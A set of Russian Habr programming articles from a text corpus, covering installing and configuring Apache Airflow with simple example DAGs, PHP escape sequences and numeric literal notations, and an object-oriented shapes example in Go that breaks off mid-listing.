pip install "apache-airflow==2.3.0" --ignore-installed
```
Обратите внимание, что мы закрепляем конкретную версию Airflow и используем здесь флаг `--ignore-installed`, чтобы избежать некоторых конфликтов версий с зависимостями пакетов.
#### Инициализация базы данных Airflow
Airflow использует реляционную базу данных в качестве серверной части для хранения данных конфигурации. По умолчанию это база данных SQLite, которая будет храниться в ~/airflow/airflow.db. Мы инициализируем базу данных в своей среде, выполнив в терминале следующую команду:
```
airflow db init
```
Создайте пользователя-администратора.
Затем нам нужно создать пользователя, который может войти в пользовательский интерфейс Airflow. Введем в терминале следующее, чтобы создать пользователя с именем admin с правами администратора:
```
airflow users create \
--username admin \
--firstname Firstname \
--lastname Lastname \
--role Admin \
--email admin@example.org \
--password password
```
В случае успеха мы увидим следующий вывод:
#### Запуск веб-сервера и планировщика
Чтобы убедиться, что конфигурация работает правильно, мы можете запустить веб-сервер и планировщик Airflow и войти в пользовательский интерфейс. Выполним следующие команды в терминале, чтобы запустить веб-сервер и планировщик:
```
airflow webserver --port 8080 -D
```
airflow schedulerЭто запускает веб-интерфейс Airflow на порту 8080
Логинимся в AirflowПосле загрузки пользовательского интерфейса мы увидим страницу входа. Введем учетные данные пользователя, созданные на предыдущем шаге:
Username: admin
Password: password
Если все настроено успешно, то мы увидим веб-интерфейс Airflow со списком примеров DAG:
Теперь можно вернуться к нашему терминалу и выйти из процесса планировщика (опционально, но я рекомендую это сделать). Вводим: ctrl+C
Открываем новый терминал и запускаем команду: `airflow scheduler`
Конфигурируем AirFlowДавайте настроим AirFlow, используя некоторые best-practices.
Давайте сперва выведем список DAG, вернемся в наш первый терминал и выполним команду: `airflow dags list`
Теперь отредактируем файл конфигураций, который должен быть в `/root/airflow/airflow.cfg`. Этот файл содержит информацию обо всех настройках нашего Airflow.
Эти настройки представлены в виде пар ключ/значение, которые выглядят как
`setting_name = setting_value`
#### Изменим локацию папки DAG
Мы собираемся использовать новую папку для нашего кода Python DAG. Сначала мы должны обновить настройку папки DAG на новый путь. Для наших целей мы будем использовать путь `/root/airflow_demo/dags`.
Изменим настройку dags\_folder в строке 4, чтобы она выглядела следующим образом:
Это указывает Airflow на каталог проекта, где будут хранится и создаваться новые сущности DAG.
#### Отключим примеры DAG
Есть много примеров DAG, которые автоматически доступны нам, как Вы можете видеть в пользовательском интерфейсе. Это немного затрудняет просмотр созданных нами DAG, поэтому давайте скроем эти примеры DAG.
Кроме того, изменим параметр `load_examples` в строке 51, чтобы он выглядел следующим образом:
Это не позволяет Airflow загружать примеры DAG.
#### Изменим цвет панели навигации
Наш Airflow в настоящее время работает, как наша производственная среда. Любой, кто работает в DevOps, скажет вам, что разделение производственной и промежуточной сред невероятно важно.
В общем, визуальная дифференциация лучше всего, и, к счастью, Airflow предоставляет настройку для очевидного визуального изменения. Airflow позволяет нам контролировать цвет заголовка.
Давайте обновим настройку заголовка в airflow.cfg, чтобы каждый в этой среде знал, что нужно быть особенно осторожным:
`navbar_color = #ffc0cb`
#### Принудительная перезагрузим Airflow
Мы собираемся принудительно перезагрузить Airflow, чтобы нам не приходилось ждать, пока он перезагрузится автоматически.
В терминале еще раз выполним следующую команду:
```
airflow dags list
```
Теперь наш список DAG должен быть пустым (поскольку в `/root/airflow_demo/dags` пока ничего нет).
Нам нужно будет повторно инициализировать базу данных Airflow, чтобы некоторые из этих настроек были выбраны. Выполним следующую команду:
```
airflow db init
```
#### Перезапустим веб-сервер
Наконец, нам нужно будет остановить/перезапустить текущий процесс веб-сервера (вы можете просто убить pid). Чтобы найти pid, выполним следующую команду:
```
cat /root/airflow/airflow-webserver.pid
```
И мы можем убить процесс с помощью этой команды:
```
kill $(cat /root/airflow/airflow-webserver.pid)
```
После того, как веб-сервер Airflow был остановлен, мы можем запустить следующую команду, чтобы запустить его еще раз:
```
airflow webserver --port 8080 -D
```
Также перезапустим планировщик.
Сначала мы остановим планировщик. Перейдем в терминал, где запущен планировщик, и выполним следующее:
Ctrl +C и airflow scheduler
#### Протестируем наш AirFlow
Создадим DAG-файл по пути `/root/airflow_demo/dags`с именем *prove-things-work.py* и следующим кодом:
```
from airflow import DAG
from airflow.operators.bash import BashOperator
from datetime import datetime, timedelta
default_args = {
'owner' : 'Vinoo',
'depends_on_past' :False,
'email' :['email@example.com'],
'email_on_failure': False,
'email_on_retry': False,
'catchup': False,
'retries': 1,
'retry_delay': timedelta(minutes=5)
}
dag = DAG(
'CreateFile',
default_args=default_args,
start_date=datetime(2022,1,1,0,0),
schedule_interval=timedelta(minutes=500))
task1 = BashOperator(
task_id='prove_things_work',
bash_command='echo "hello, world!" > /root/create-this-file.txt',
dag=dag)
```
Теперь проверим синтаксис нашего DAG, давайте вернемся в наш первый терминал и запустим команду:
```
python3 airflow_demo/dags/prove-things-work.py
```
Это проверит наличие синтаксических ошибок Python в файле. В случае успеха вывода не будет.
В качестве нашего последнего шага, вместо того, чтобы ждать, пока планировщик подберет его, давайте обновим базу данных Airflow, чтобы наш DAG был инициализирован Airflow:
```
airflow db init
```
Как мы видим, AirFlow инициализировал наш DAG
Давайте запустим его, для этого нажмем кнопку play -> trigger DAG
На панели древовидного представления теперь вы увидите квадратные значки рядом с каждой задачей в группе обеспечения доступности баз данных, меняющей цвет по мере того, как задачи ставятся в очередь и выполняются. Если задачи выполняются успешно, эти значки будут отмечены темно-зеленым цветом в пользовательском интерфейсе. Если задачи не пройдены, квадраты будут отмечены красным цветом.
Сработал? Давайте убедимся, что DAG отработался успешно. Выполним следующую команду: `cat /root/create-this-file.txt`
Если вы видите фразу “Hello world” — ваш DAG сработал!
#### Теперь создадим двух-узловой DAG
Создадим файл с именем *two-node-dag.py* со следующим кодом:
```
from airflow import DAG
from airflow.operators.bash import BashOperator
from datetime import datetime
# Default settings applied to all tasks
default_args = {
'owner': 'airflow',
'depends_on_past': False,
'email_on_failure': False,
'email_on_retry': False,
'retries': 0,
'catchup': False,
'start_date': datetime(2022, 1, 1)
}
with DAG(
dag_id='two-node-dag',
description='An example Airflow DAG',
schedule_interval=None,
default_args=default_args
) as dag:
t0 = BashOperator(
task_id='bash_task_0',
bash_command='echo "Hi there, this is the first Airflow task!"'
)
t1 = BashOperator(
task_id='bash_task_1',
bash_command='echo "Sleeping..." && sleep 5s && date'
)
t0 >> t1
```
Протестируем синтаксис:
```
python3 airflow_demo/dags/two-node-dag.py
```
Вернемся к нашему UI
Если планировщик запущен, то АirFlow сам подберет новый DAG спустя какое-то время. Однако, если вы не хотите ждать, вы можете запустить следующую команду для принудительной синхронизации:
```
airflow db init
```
Видим, что наш DAG виден нашему Airflow.
Однако в этот раз мы запустим его с терминала:
```
airflow dags trigger two-node-dag
```
И под конец заглянем в логи нашего DAG, для этого вернемся в наш UI.
Нажмем на наш DAG:
Перейдем в Graph
Выбираем Таск
И в попап окне выбираем log
Мы успешно настроили и запустили несколько DAG в Airflow. Подведем итоги:
* Развертывание и конфигурация AIrflow — это несложно.
* Создание DAG в Airflow — это легкий и простой процесс.
* DAG определяются кодом.
* DAG сущности достаточно гибкие в использовании.
---
Скоро в OTUS состоится открытое занятие на тему **«MapReduce: алгоритм обработки больших данных»**. На нем подробно разберем универсальный алгоритм, с помощью которого обрабатываются большие данные на распределённых системах без общего хранилища (Hadoop, Spark). Поговорим об «узких местах» и потенциальных операционных проблемах. Посмотрим, как это выглядит на практике в Яндекс.Облаке. Регистрация доступна для всех желающих [**по ссылке.**](https://otus.pw/3VXj/) | https://habr.com/ru/post/679104/ | null | ru | null |
# Escape-последовательности и числовые нотации в PHP
> Привет, Хабр. В преддверии старта онлайн-курса [**«PHP-разработчик»**](https://otus.pw/VPIhl/) подготовили традиционный перевод материала. Предлагаем также посмотреть запись прошедшего демо-занятия [**«Экосистема PHP».**](https://otus.pw/q6H0/)
>
>
---
Многие современные языки программирования поддерживают различные способы использования различных символов, таких как обычные английские латинские буквы, числа, символы, эмодзи и различные специальные символы, такие как символ новой строки или символ табуляции.
Большинство символов можно просто набрать с клавиатуры и использовать в коде PHP в их исходном виде. Например, `$string = "php.watch"` - это полностью допустимая строка в PHP, а `$num = 42` - допустимое число. Также можно использовать многобайтные символы (для хранения которых требуется более одного байта), например, этот совершенно допустимый эмодзи: `$emoji = "?"`.
PHP, наряду со многими другими языками программирования, поддерживает определенное количество escape-последовательностей для использования различных символов, которые не могут быть набраны с обычной клавиатуры, не могут быть представлены в текстовой форме (например, невидимые символы или различные управляющие символы) или иным образом не считываются. Эти символы используют **escape-последовательности**, которые распознает PHP.
Что касается чисел, PHP поддерживает стандартные десятичные числа, но также может использовать и другие нотиции, такие как **двоичное**, **восьмеричное**, **шестнадцатеричное** и даже **научное (scientific) представление**. Они могут сделать код более читаемым и понятным в зависимости от контекста.
### Двойные кавычки и Heredoc
В PHP строка с двойными кавычками (`"string"`) или Heredoc (смотрите ниже) поддерживает escape-последовательности и интерполяцию переменных.
PHP будет пытаться интерполировать переменные, если строковый литерал находится внутри строки с двойными кавычками или Heredoc.
```
$name = 'John';
echo "Hi $name"; // "Hi John"
```
```
$name = 'John';
echo <<
```
Альтернативно (и желательно) интерполируемые переменные могут быть выделены фигурными скобками, так они будут выглядеть более удобочитаемыми:
```
$name = 'John';
echo "Hi {$name}"; // "Hi John"
```
Строки в одинарных кавычках (`'string'`) и синтаксис Nowdoc не интерполируют переменные:
```
$name = 'John';
echo 'Hi $name'; // "Hi $name"
```
```
$name = 'John';
echo <<<'NOWDOC'
```
```
Hi $name
NOWDOC;
// "Hi $name"
```
**Только строки в двойных кавычках и Heredoc поддерживают escape-символы**.
### Экранирование символов
Поскольку PHP интерпретирует и интерполирует специальные символы внутри строковых литералов в двойных кавычках и heredoc, знак обратной косой черты (`\`) используется как «escape-символ».
Например, использование `\$name` вместо `$name` не даст PHP интерполировать переменную `$name`.
```
$name = 'John';
echo "Hi \$name"; // "Hi $name"
```
Использование второго символа обратной косой черты предотвращает преобразование первого символа обратной косой черты в escape-символ.
```
$name = 'John';
echo "Hi \\$name"; // "Hi \John"
```
PHP поддерживает несколько специальных escape-последовательностей для специальных символов. В приведенном выше примере `\$` считается escape-последовательностью, потому что он отменяет интерполяцию PHP, заставляя PHP буквально использовать символ `$`.
#### Символы табуляции: \t и \v
Возможно, самые простой из управляющих символов - это символ табуляции. Символ табуляции (по нажатию клавиши tab) можно использовать внутри строкового литерала, но использование `\t` вместо визуального пропуска делает его наглядным. Использование `\t` вместо буквального символа табуляции также позволяет избежать автоматической замены символов табуляции на пробелы в различных IDE.
```
echo "Foo\tBar";
Foo Bar
```
**\v - это вертикальная табуляция**. На поддерживаемых терминалах символ вертикальной табуляции переходит к следующему символу в следующей строке:
```
echo "Foo\vBar\vBaz";
```
```
Foo
Bar
Baz
```
#### Новые строки: \r и \n
`\r` («возврат каретки») и `\n` («перевод строки») являются символами новой строки.
Исторически так сложилось, что различные системы начали использовать либо `\r`, либо `\n`, и даже Windows использует `\r\n`. Например, Linux и MacOS по умолчанию используют символ «перевода строки» (`\n`) в качестве символа новой строки, тогда как Windows использует комбинацию `\r\n` (возврат каретки, за которым следует перевод строки). Старые системы MacOS использовали в качестве символа новой строки `\r`.
> PHP имеет константу `PHP_EOL`, которая всегда ссылается на системный символ новой строки.
>
>
```
echo "Left\nLeft\nRight\nRight";
```
```
Left
Left
Right
Right
```
#### Escape-символ: \e
Escape-символы часто используется для отправки [управляющих последовательностей ANSI](https://en.wikipedia.org/wiki/ANSI_escape_code) в терминал. Например, `\e`, за которым следует `[32m`, указывает терминалу изменить цвет на зеленый, а `[33m` - на желтый.
```
echo "\e[32mGreen text\e[0m \e[33mYellow text\e[0";
```
Если приведенный выше фрагмент выполняется в терминале, который поддерживает управляющие последовательности ANSI, он интерпретирует его и изменяет текст:
#### Символ новой страницы: \f
Символ новой страницы - это управляющий символ ASCII для обозначения конца страницы. С его помощью принтеры могут вывести текущую страницу и начать с верхней части следующей. Когда \f передается на дисплейный терминал, он может результировать в очистке экрана, хотя это очень редкое поведение для большинства программ эмуляции терминала.
---
### Восьмеричные escape-последовательности символов ASCII
PHP поддерживает экранирование восьмеричного числа в его соответствующий ASCII символ.
Например, ASCII символ `P` равен `80` в десятичной системе ([смотрите диаграмму](https://en.wikipedia.org/wiki/ASCII#Printable_characters)). 80 из десятичной системы счисления в переводе в восьмеричную - `120`.
Для символа `P` можно использовать восьмеричную escape-последовательность:
```
echo "\120";
P
```
Любой базовый символ ASCII можно представить с помощью такой записи:
```
echo "\120\110\120\56\127\141\164\143\150";
PHP.Watch
```
Любое значение в диапазоне от `\0` до `\377` будет интерпретироваться как восьмеричная escape-последовательность ASCII символа.
Обратите внимание, что числа для расширенных символов ASCII (от 128 до 255) несовместимы с UTF-8. PHP считает значение `128` (восьмеричное: `200`; шестнадцатеричное: `80`) недопустимым, поскольку оно не является допустимым значением UTF-8.
Хотя PHP принимает такие значения, они считаются недопустимыми символами в контексте UTF-8.
### Шестнадцатеричные escape-последовательности символов ASCII
Подобно восьмеричным escape-последовательностям символов, PHP также допускает использование шестнадцатеричных чисел в escape-последовательности символов с префиксом \x .
Допускается только один байт, что подразумевает допустимый диапазон от `x0` до `xFF`. Однако ограничение UTF-8 по-прежнему присутствует, и только значения до `x80` будут считаться допустимыми символами.
Кроме того, шестнадцатеричные символы не чувствительны к регистру (т.е. `AF` равно `af` и `aF`).
ASCII P - 80, что равно `x50`:
```
echo "\x50";
P
```
Тот же "PHP.Watch" пример можно переписать с помощью шестнадцатеричных escape-последовательностей:
```
echo "\x50\x48\x50\x2E\x57\x61\x74\x63\x68";
PHP.Watch
```
### Escape-последовательности символов Unicode
PHP поддерживает использование любого Unicode символа с префиксом `\u` и **шестнадцатеричным значением code point** внутри фигурных скобок.
```
echo "\u{1F418} - \u{50}\u{48}\u{50}\u{2E}\u{57}\u{61}\u{74}\u{63}\u{68}";
? - PHP.Watch
```
PHP выдаст ошибку парсера, если символ Unicode превышает значение `10FFFF`:
```
echo "\u{10FFFF1}"
Invalid UTF-8 codepoint escape sequence: Codepoint too large on line ...
```
`10FFFF` является верхним пределом, потому что [спецификация UTF-8 объявляет](https://tools.ietf.org/html/rfc3629#page-11) диапазон от `U+0000` до `U+10FFFF`.
В предыдущей версии этой статьи верхний предел неверно упоминался как `FFFFF`, что было исправлено на `10FFFF`. Спасибо Саре Големон за то, что она указала на это.
---
Форму записи Unicode `\u{}` можно использовать качестве escape-последовательности для *любого* символа. Вот несколько примеров:
| | | | |
| --- | --- | --- | --- |
| **Символ** | **Code point (Dec)** | **Code point (Hex)** | **Escape-последовательность Unicode** |
| A | 65 | 41 | "\u{41}" |
| B | 66 | 42 | "\u{42}" |
| $ | 36 | 24 | "\u{24}" |
| € | 8364 | 20AC | "\u{20AC}" |
| [\n (перевод строки)](https://php.watch/articles/php-character-escape-sequences-numeric-notations#escape-crlf) | 10 | A | "\u{A}" |
| [\r (возврат каретки)](https://php.watch/articles/php-character-escape-sequences-numeric-notations#escape-crlf) | 13 | D | "\u{D}" |
| [\t (горизонтальная табуляция)](https://php.watch/articles/php-character-escape-sequences-numeric-notations#escape-tabs) | 9 | 9 | "\u{9}" |
| [\v (вертикальная табуляция)](https://php.watch/articles/php-character-escape-sequences-numeric-notations#escape-tabs) | 11 | B | "\u{B}" |
| [\e (управляющий символ)](https://php.watch/articles/php-character-escape-sequences-numeric-notations#escape-escape) | 27 | 1B | "\u{1B}" |
| [\f (новая страница)](https://php.watch/articles/php-character-escape-sequences-numeric-notations#escape-formfeed) | 12 | C | "\u{C}" |
| ? | 128024 | 1F418 | "\u{1F418}" |
| අ | 3461 | D85 | "\u{D85}" |
---
### Двоичные строки
Несколько лет назад PHP 5.2.1 представил новый строковый синтаксис, названный «двоичными строками» (binary strings). Это с натяжкой можно было назвать синтаксисом, и он был задуман в рамках улучшение прямой совместимости с грядущим PHP 6.
Синтаксис заключался в добавлении префикса `b` к строкам в одинарных/двойных кавычках, чтобы PHP мог распознать это как двоичную строку.
```
echo b'Foo';
Foo
```
Функции [is\_binary](https://web.archive.org/web/20090403051843/http://us2.php.net/manual/en/function.is-binary.php), [is\_unicode](https://web.archive.org/web/20090321072044/http://us2.php.net/manual/en/function.is-unicode.php) и [is\_buffer](https://web.archive.org/web/20090417210222/http://us2.php.net/manual/en/function.is-buffer.php) должны были различать двоичные строки и строки Unicode в PHP 6, но они так и не добрались до следующей версии PHP 7. Однако синтаксис двоичной строки все-таки попал в PHP 7 и поддерживается в PHP 8.
Синтаксис двоичных строк не имеет какой-либо специальной функциональности и служит только для того, чтобы быть историческим пережитком, внезапным вопросом на собеседовании, интересным фактом для статей по PHP и сбивать с толку других PHP разработчиков.
Этот синтаксис не является устаревшим и не планируется к удалению в будущей версии PHP.
---
### Числовые нотации
При использовании числовых литералов в PHP-скриптах PHP по умолчанию ожидает десятичные значения. Однако PHP также допускает другие числовые нотации, такие как **двоичные числа**, **восьмеричные числа**, **шестнадцатеричные числа** и **научная нотация**.
Начиная с PHP 7.4, PHP также позволяет [**разделять разряды нижнем подчеркиванием**](https://php.watch/versions/7.4/underscore_numeric_separator) для лучшей читаемости длинных чисел.
#### Двоичная нотация
Любой числовой литерал, начинающийся с префикса `0b`, будет считаться двоичным числом.
```
$number_binary = 0b101010;
```
Для лучшей читаемости можно использовать разделитель разрядов в виде нижнего подчеркивания.
```
$number_binary = 0b10_1010;
0b101010 === 42; // true
0b10_1010 === 42; // true
```
#### Восьмеричная нотация
PHP принимает восьмеричные числовые значения с префиксом `0`. Начиная с PHP 8.1, PHP также поддерживает [явную восьмеричную числовую нотацию с префиксами 0O и 0o](https://php.watch/versions/8.1/explicit-octal-notation).
```
$number_octal = 052; // === Десятичное 42
$number_octal = 0o52; // === Десятичное 42
$number_octal = 0O52; // === Десятичное 42
```
#### Шестнадцатеричная нотация
Числа интерпретируются в шестнадцатеричные с помощью префиксов `\0X` и `\0x`.
```
$number_hex = 0x2A; // === Десятичное 42
$number_hex = 0X2A; // === Десятичное 42
```
#### Научная нотация (Scientific Notation)
PHP также поддерживает научную "E-нотацию" для значений с плавающей запятой.
```
$number_float = 42E1;
```
E-нотация эквивалентна 42 \* 10^0 (10 в степени 0). Обратите внимание, что во многих языках программирования (включая PHP) оператор `^` используется для XOR, а для возведения в степень используется `**` .
Преимущество удобочитаемости научной нотации более выражено для очень точных или больших чисел.
```
$planck_constant = 6.62607004E-34;
$avogadros_constant = 6.022140857E+23;
3.844E5 === 3.844 * 10**5 === 384400.0; // true
```
---
PHP поддерживает различные формы escape-последовательностей и числовых обозначений. Недавно он добавил [явную восьмеричную числовую нотацию с префиксами 0O/0o(PHP 8.1)](https://php.watch/versions/8.1/explicit-octal-notation)и [числовые разделители разрядов (PHP 7.4)](https://php.watch/versions/7.4/underscore_numeric_separator).
Обратите внимание, что эти escape-последовательности и числовые обозначения не интерпретируются при считывании пользовательского ввода. Например, преобразование числа, разделенного нижним подчеркиванием, к целому числу не будет учитывать использование этой новой фичи PHP для строк, предоставленных пользователем.
```
var_dump((int) "2_34_5");
// int(2)
var_dump((int) "0xabcd");
// int(0)
```
Escape-последовательности в пользовательском вводе, также не учитываются. Например, если форма содержит `"\43"`, это значение будет использоваться как есть, без интерпретации как восьмеричная escape-последовательность для символа. А `$str = "\43"` выдаст `"#"`, потому что в исходных файлах PHP это работает.
---
> Узнать подробнее о курсе[**«PHP-разработчик»**](https://otus.pw/VPIhl/)Смотреть запись прошедшего демо-занятия [**«Экосистема PHP».**](https://otus.pw/q6H0/)
>
> | https://habr.com/ru/post/553960/ | null | ru | null |
# Пример решения типичной ООП задачи на языке Go
Недавно попалась на глаза занимательная [статья с аналогичным названием](http://habrahabr.ru/post/263575/) о языке Haskell. Автор предлагал читателю проследить за мыслью программиста, решающего типичную ООП задачу но в Хаскеле. Помимо очевидной пользы расширения представлений читателей о том, что ООП — это отнюдь не «классы» и «наследование», подобные статьи полезны для понимания того, как правильно пользоваться языком. Предлагаю читателю решить ту же самую задачу, но на языке Go, в котором ООП тоже реализован непривычно.
#### Задача
Итак, оригинальная задача выглядела примерно так: есть графические примитивы(фигуры), с различными свойствами, но над каждой фигурой можно производить одинаковые действия. Примитивы должны уметь отдавать информацию о себе в определенном формате, которую некая функция будет выводить в какой-нибудь вывод, для простоты примера — в stdout. При этом некоторые примитивы могут быть вариациями других.
Формат вывода информации, на примере прямоугольника и круга, должен быть вот таким:
> paint rectangle, Rect {left = 10, top = 20, right = 600, bottom = 400}
>
> paint circle, radius=150 and centre=(50,300)
>
>
Кроме того, примитивы нужно уметь объединить в однородный список.
#### Решение
##### Структуры и свойства
Начнем с очевидного — с объявления примитивов и их свойств. За свойства в Go отвечают структуры, поэтому просто объявим нужные поля для примитивов Rectangle и Circle:
```
type Rectangle struct {
Left, Right, Top, Bottom int64
}
type Circle struct {
X, Y, Radius int64
}
```
В Go не сильно приветствуются сокращенные записи в одну строчку — лучше каждое поле выносить на отдельную строку, но для такого простого примера это простительно. Тип int64 выбран как базовый. В будущем, если действительно понадобятся оптимизации по скорости — можно будет выбрать тип удачней, исходя из реальной задачи, скажем uint16, или попробовать изменить структуру так, чтобы эффективно использовалось выравнивание полей в памяти, но не забываем, что преждевременная оптимизация — это зло. Подобным нужно заниматься только если действительно есть необходимость. Пока что, смело выбираем int64.
Названия полей и методов будем писать с большой буквы, так как это не библиотека, а исполняемая программа, и видимость за пределами пакета нам не важна (в Go название с большой буквы — это аналог public, с маленькой — private).
##### Интерфейсы и поведение
Далее, по определению оригинальной задачи, примитивы должны уметь отдавать информацию о себе в определенном формате и отдавать значение площади примитива. Как же мы сделаем это в Go, если у нас нет классов и «нормального ООП»?
Тут в Go даже не приходится гадать, поскольку в языке очень четко разделено определение «свойств» и «поведения». **Свойства — это структуры, поведение — это интерфейсы.** Этот простой и мощный концепт сразу же дает нам ответ, что делать дальше. Определяем нужный интерфейс с нужными методами:
```
type Figure interface {
Say() string
Square() float64
}
```
Выбор имени интерфейса (Figure) тут продиктован оригинальным примером и задачей, но [обычно в Go интерфейсы](https://golang.org/doc/effective_go.html#interface-names), особенно с одним методом, называют с суффиксом -er — Reader, Painter, Stringer и так далее. По идее, имя должно помогать понять назначение интерфейса и отражать его поведение. Но в данном случае Figure достаточно неплохо подходит и описывает сущность «фигуры» или «графического примитива».
##### Методы
Теперь, чтобы типы Rectangle и Circle стали «фигурами», они должны удовлетворять интерфейсу Figure, тоесть для них должны быть определены методы Say и Square. Давайте их напишем:
```
func (r Rectangle) Say() string {
return fmt.Sprintf("rectangle, Rect {left=%d,top=%d,right=%d,bottom=%d)", r.Left, r.Top, r.Right, r.Bottom)
}
func (r Rectangle) Square() float64 {
return math.Abs(float64((r.Right - r.Left) * (r.Top - r.Bottom)))
}
func (c Circle) Say() string {
return fmt.Sprintf("circle, radius=%d and centre=(%d,%d)", c.Radius, c.X, c.Y)
}
func (c Circle) Square() float64 {
return math.Pi * math.Pow(float64(c.Radius), 2)
}
```
На что здесь стоит обратить внимание — на ресивер метода, который может быть значением (как сейчас — «c Circle»), а может быть указателем "(c \*Circle)". Общее правило тут такое — если метод должен изменять значение c или если Circle — большущщая структура, занимающая много места в памяти — тогда использовать указатель. В остальных случаях, будет дешевле и эффективней передавать значение в качестве ресивера метода.
Более опытные гоферы заметят, что метод Say в точности похож на стандартный интерфейс [Stringer](https://golang.org/pkg/fmt/#Stringer), который используется в стандартной библиотеке, пакетом fmt в том числе. Поэтому можно переименовать Say в String, убрать этот метод вообще из интерфейса Figure и дальше просто передавать объект данного типа в функции fmt для вывода, но пока что оставим так, для большей ясности и схожести с оригинальным решением.
##### Конструкторы
Собственно, все — теперь можно создавать структуру Rectangle или Circle, инициализировать ее значения, сохранять в слайсе ([динамический массив в Go](http://blog.golang.org/go-slices-usage-and-internals)) типа []Figure и передавать функции, принимающей Figure и вызывающей методы Say или Square для дальнейшей работы с нашими графическими примитивами. К примеру, вот так:
```
func main() {
figures := []Figure{
NewRectangle(10, 20, 600, 400),
NewCircle(50, 300, 150),
}
for _, figure := range figures {
fmt.Println(figure.Say())
}
}
func NewRectangle(left, top, right, bottom int64) *Rectangle {
return &Rectangle{
Left: left,
Top: top,
Right: right,
Bottom: bottom,
}
}
func NewCircle(x, y, radius int64) *Circle {
return &Circle{
X: x,
Y: y,
Radius: radius,
}
}
```
Методы NewRectangle и NewCircle — просто функции-конструкторы, которые создают новые значения нужного типа, инициализируя их. Это обычная практика в Go, такие конструкторы нередко еще могут возвращать ошибку, если конструктор делает более сложные вещи, тогда сигнатура выглядит как-нибудь так:
```
func NewCircle(x, y, radius int64) (*Circle, error) {...}
```
Также вы можете встретить сигнатуры с приставкой Must вместо New — MustCircle(x, y, radius int64) \*Circle — обычно это означает, что функция выбросит панику, в случае ошибки.
##### Углубляемся в тему
Наблюдательный читатель может заметить, что мы кладем в массив фигур ([]Figure) переменные типов \*Rectangle и \*Circle (то есть, указатель на Rectangle и указатель на Circle), хотя методы мы таки определили на значение, а не на указатель (func (c Circle) Say() string). Но это правильный код, [так Go работает с ресиверами методов](https://golang.org/doc/effective_go.html#pointers_vs_values), упрощая программистам жизнь — если тип реализует интерфейс, то «указатель на этот тип» тоже его реализует. Ведь логично, не так ли? Но чтобы не заставлять программиста лишний раз разыменовывать указатель, чтобы сказать компилятору «вызови метод» — Go компилятор сделает это сам. А вот обратную сторону — что тоже очевидно — такое не сработает. Если интерфейсный метод реализован для «указателя на тип», то вызов метода от переменной не-указателя вернет ошибку компиляции.
Чтобы вызвать метод Say у каждого примитива, мы просто проходимся по слайсу с помощью ключевого слова range и печатаем вывод метода Say(). Важно понимать, что каждая переменная интерфейсного типа Figure содержит внутри информацию о «конкретном» типе. figure в цикле всегда является типом Figure, и, одновременно, либо Rectangle, либо Circle. Это справедливо для всех случаев, когда вы работает с интерфейсными типами, даже с пустыми интерфейсами (interface{}).
#### Усложняем код
Далее автор усложняет задачу, добавляя новый примитив «закругленный прямоугольник» — RoundRectangle. Это, по сути, тот же примитив Rectangle, но с дополнительным свойством «радиус закругления». При этом, чтобы избежать дубликации кода, мы должны как-то переиспользовать уже готовый код Rectangle.
Опять же, Go дает абсолютно четкий ответ, как это делать — никаких «множественных путей сделать это» тут нет. И этот ответ — embedding, или «встраивание» одного типа в другой. Вот так:
```
type RoundRectangle struct {
Rectangle
RoundRadius int64
}
```
Мы определяем новый тип-структуру, который уже содержит все свойства типа Rectangle плюс одно новое — RoundRadius. Более того, RoundRectangle уже **автоматически удовлетворяет интерфейс Figure**, так как его удовлетворяет встроенный Rectangle. Но мы можем переопределять функции, и вызывать функции встроенного типа напрямую, если нужно. Вот как это выглядит:
```
func NewRoundRectangle(left, top, right, bottom, round int64) *RoundRectangle {
return &RoundRectangle{
*NewRectangle(left, top, right, bottom),
round,
}
}
func (r RoundRectangle) Say() string {
return fmt.Sprintf("round rectangle, %s and roundRadius=%d", r.Rectangle.Say(), r.RoundRadius)
}
```
Конструктор типа использует конструктор NewRectangle, при этом разыменовывая указатель (так как мы встраиваем Rectangle, а не указатель на Rectangle), а метод Say вызывает r.Rectangle.Say(), чтобы вывод был точно таким же как и для Rectangle, без дубликации кода.
[Встраивание типов](https://golang.org/doc/effective_go.html#embedding) (embedding) в Go это очень мощный инструмент, можно даже встраивать интерфейсы в интерфейсы, но для нашей задачи это не нужно. Предлагаю читателю познакомиться с этим самостоятельно.
Теперь просто добавим в слайс новый примитив:
```
figures := []Figure{
NewRectangle(10, 20, 600, 400),
NewCircle(50, 300, 150),
NewRoundRectangle(30, 40, 500, 200, 5),
}
```
Как видите, это было довольно просто, мы не думали о том, каким бы способом это сделать, мы просто использовали нужные инструменты языка по самому прямому их назначению. Это позволило, не теряя лишнего времени, просто и быстро имплементировать то, что нам нужно.
#### Финальные правки
Хотя этот код и является синтетическим примером, но опишу пару моментов, которые я бы делал дальше. Первым делом — я напишу комментарии ко всем методам, даже к конструкторам. Последнее, конечно, не обязательно, но мне нравится идея того, что достаточно написать по одной строчке, чтобы получить документацию ко всему пакету с помощью go doc, даже если она пока не нужна, и вообще, это не библиотека, а запускаемая программа. Но, если в будущем подобный код будет выделен в отдельный пакет-библиотеку, то мы автоматом получим документированный пакет. Пусть даже пока что описания банальные, но мне не сложно потратить 5 секунд на написание одной строки текста, зато есть чувство «полноты» кода, да и линтеры (go vet) не будут ругаться, что тоже приятно.
Далее, логичным выглядит разнести код на несколько отдельных файлов — определение интерфейса и main() оставить в main.go, а для каждого примитива и его функций создать отдельные файлы — circle.go, rectangle.go и roundrectangle.go. Описание интерфейса, впрочем, тоже можно вынести в отдельный файл.
Финальным штрихом будет прогонка через [GoMetaLinter](https://github.com/alecthomas/gometalinter) — это пакет, запускающий параллельно все линтеры и статические анализаторы кода, которые умеют много чего ловить и подсказывать, позволяя делать код еще лучше, чище и читабельней. Если gometalinter не вывел сообщений — отлично, код достаточно чист.
**Полный код тут**main.go:
```
package main
import "fmt"
// Figure describes graphical primitive, which can Say
// own information and return it's Square.
type Figure interface {
Say() string
Square() float64
}
func main() {
figures := []Figure{
NewRectangle(10, 20, 600, 400),
NewCircle(50, 300, 150),
NewRoundRectangle(30, 40, 500, 200, 5),
}
for _, figure := range figures {
fmt.Println(figure.Say())
}
}
```
rectangle.go:
```
package main
import (
"fmt"
"math"
)
// Rectangle defines graphical primitive for drawing rectangles.
type Rectangle struct {
Left, Right, Top, Bottom int64
}
// NewRectangle inits new Rectangle.
func NewRectangle(left, top, right, bottom int64) *Rectangle {
return &Rectangle{
Left: left,
Top: top,
Right: right,
Bottom: bottom,
}
}
// Say returns rectangle details in special format. Implements Figure.
func (r Rectangle) Say() string {
return fmt.Sprintf("rectangle, Rect {left=%d,top=%d,right=%d,bottom=%d)", r.Left, r.Top, r.Right, r.Bottom)
}
// Square returns square of the rectangle. Implements Figure.
func (r Rectangle) Square() float64 {
